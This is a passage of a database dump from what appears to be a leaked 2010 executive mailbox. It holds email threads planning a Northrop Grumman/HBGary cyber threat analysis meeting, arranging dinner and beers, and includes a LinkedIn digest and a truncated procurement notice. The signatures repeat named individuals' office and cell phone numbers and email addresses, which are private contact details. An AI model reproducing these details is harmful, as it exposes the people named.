Feb 17 18:35:59 2010Subject: Re: Cyber Threat Analysis Center\r\nAlmost there.From my iPhoneOn Feb 17, 2010, at 5:25 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nCall my cell when you land.\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Wed Feb 17 16:04:22 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\n\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3991,'aaron_hbgary_com/3991.html'),(2803,'2010-02-17','\"Akey, Mark L.\" <mark.akey@ngc.com>','/aaron@hbgary.com/new/1297001285.M97271P3547Q2800.eml','aaron@hbgary.com,aaron@hbgary.com,,,,,,,,,,,','Re: EXTERNAL:Re: Cyber Threat Analysis Center','\r\nYup - just like catsup is a veggie!  --------------------------Dr. Mark AkeyNorthrop GrummanMgr, S&amp;T Solutions  DARPA, AFRL, ONR, IARPAOffice: 260.435.4678Cell: 260.437.9875mark.akey@ngc.com\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Akey, Mark L.Cc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Dunkelberger, Kirk A.; Carrier, Jeremy M. (Xetron); Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 17 17:46:16 2010Subject: EXTERNAL:Re: Cyber Threat Analysis Center\r\nBrian.  Beer is food.From my iPhoneOn Feb 17, 2010, at 6:43 PM, &quot;Akey, Mark L.&quot; &lt;mark.akey@ngc.com&gt; wrote:\r\n\r\n\r\nYeah, but what I want to know is who pays for the alcohol?  ;-)\r\n--------------------------\r\nDr. Mark Akey\r\nNorthrop Grumman\r\nMgr, S&amp;T Solutions\r\n  DARPA, AFRL, ONR, IARPA\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nmark.akey@ngc.com\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSent: Wed Feb 17 15:34:20 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAnd another thing…\r\n\r\n\r\nLet’s plan on grabbing dinner tomorrow night.  I “think”  can buy????\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\n\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\n\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\n\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n                BAAs\r\n\r\n                Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Sunday, February 14, 2010 8:14 AM\r\n\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\n\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\n\r\nSubject: Cyber Threat Analysis Center\r\n\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center  IRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.  We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\n\r\nPlease bring all materials that you accumulated this week from your trips.  We should have Palantir and HBGary tools accessible.  There should be an IG demo.  I’ll get food.\r\n\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n',8911,'aaron_hbgary_com/8911.html'),(2804,'2010-02-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001286.M297066P3547Q2805.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Can I putt bag in ur car.  Took cab. Be there in 2min From my iPhoneOn Feb 17, 2010, at 7:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nOk.  Already started.  What do you want?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 18:35:59 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nAlmost there.From my iPhoneOn Feb 17, 2010, at 5:25 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\nCall my cell when you land.\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Wed Feb 17 16:04:22 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\n\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6903,'aaron_hbgary_com/6903.html'),(2805,'2010-02-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001286.M500137P3547Q2806.eml','\"Aaron Barr\" <aaron@hbgary.com>','10th flt','Mar. 16th. 10th flt.\r\n\r\n From my iPhone\r\n',6234,'aaron_hbgary_com/6234.html'),(2806,'2010-02-18','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001286.M731528P3547Q2807.eml','aaron@hbgary.com','Threat Intelligence Consortium Press Release','HI Aaron, Attached is a draft of the press release. Please review and amend as you see fit. In addition to adding your quote, I think we need more details about how the consortium will work with companies/agencies. We might also want to consider having a separate boilerplate for the consortium (outlining mission statement, contact information, etc). Have you considered having&nbsp;a separate Website for the consortium where potential customers can go for information? Just an idea.\r\n&nbsp;\r\nThanks Aaron. I look forward to your edits. Best, Karen\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n',7918,'aaron_hbgary_com/7918.html'),(2807,'2010-02-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001286.M93154P3547Q2804.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Something draft cold hoppy.From my iPhoneOn Feb 17, 2010, at 7:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nOk.  Already started.  What do you want?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 18:35:59 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nAlmost there.From my iPhoneOn Feb 17, 2010, at 5:25 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\nCall my cell when you land.\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Wed Feb 17 16:04:22 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\n\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8695,'aaron_hbgary_com/8695.html'),(2808,'2010-02-18','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297001286.M945907P3547Q2808.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 2/17/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Feb 10 - Feb 17\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Chris Collins has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n      \r\n        \r\n      \r\n        \r\n      \r\n       \r\n      Chris Collins has an updated Skype ID: cozza13, and other personal information. Update your personal info\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Brandon Colston has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Paul Thrasher\r\n    is now connected to\r\n        Kirk Harness\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jake Olcott\r\nis now connected to\r\n            John Weiler\r\n             and \r\n            Gabrielle (Shapess) Linzer\r\n             \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Chris Collins\r\nis now connected to\r\n            Nora Fitzpatrick\r\n,             Douglas Hoggatt\r\n,             Claudia L\'Amoreaux\r\n,       and 3 other people.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Lest we get too focused on all the inconveniences of the #snow, check out day in the life of #Haiti disaster responder: http://bit.ly/cIeMo2\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jeanne Woodward\r\n      is reading &quot;It\'s Not About The Coffee&quot; - Lessons on Putting People First from a Life at Starbucks by Howard Behar\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  angela fugate\r\n      So proud of my customer david celski\'s brother, JR Celski... Olympic bronze at 19 years old!!  USA  :)\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Brandon Colston has joined\r\n    Microsoft BizSpark\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Chris Collins has joined\r\n    One HCM Global Community\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    Zweibrucken American High School\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Chris Collins has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Anita D\'Amico has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Chris Collins was recommended by\r\nbusiness partner      Douglas Maxwell\r\n        Chris has been an outstanding contact at Linden Lab.  His commitment to customer satisfaction and re...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n      Chris Collins was recommended by\r\ncolleague      Hamilton Hitchings\r\n        Chris was the business visionary behind the Second Life Enterprise standalone behind-the-firewall pr...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Nolan Clifford\r\n                  \r\n                     is interested in \r\n                  \r\n                    Security Solutions 2010\r\n                  \r\n                     on April 12, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Nolan Clifford\r\n                  \r\n                     will be attending \r\n                  \r\n                    AFCEA Homeland Security\r\n                  \r\n                     on February 24, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Chris Collins\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Bill Hornish\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',10217,'aaron_hbgary_com/10217.html'),(2809,'2010-02-18','noreply@fbo.gov','/aaron@hbgary.com/new/1297001287.M149835P3547Q2809.eml','aaron@hbgary.com','FBO Watch List Notifications','Thursday, February 18, 2010, 03:00 am\r\n\r\nDear Aaron Barr:\r\n\r\nThis message has been sent to inform you of update(s) to solicitation(s) where you have either expressed vendor interest in the opportunity, or placed the notice on your watchlist.  Please see the details below.\r\n\r\nDetails\r\n------------------\r\n\r\n	Top Level Agency: Department of the Navy\r\n	Office: Office of Naval Research\r\n	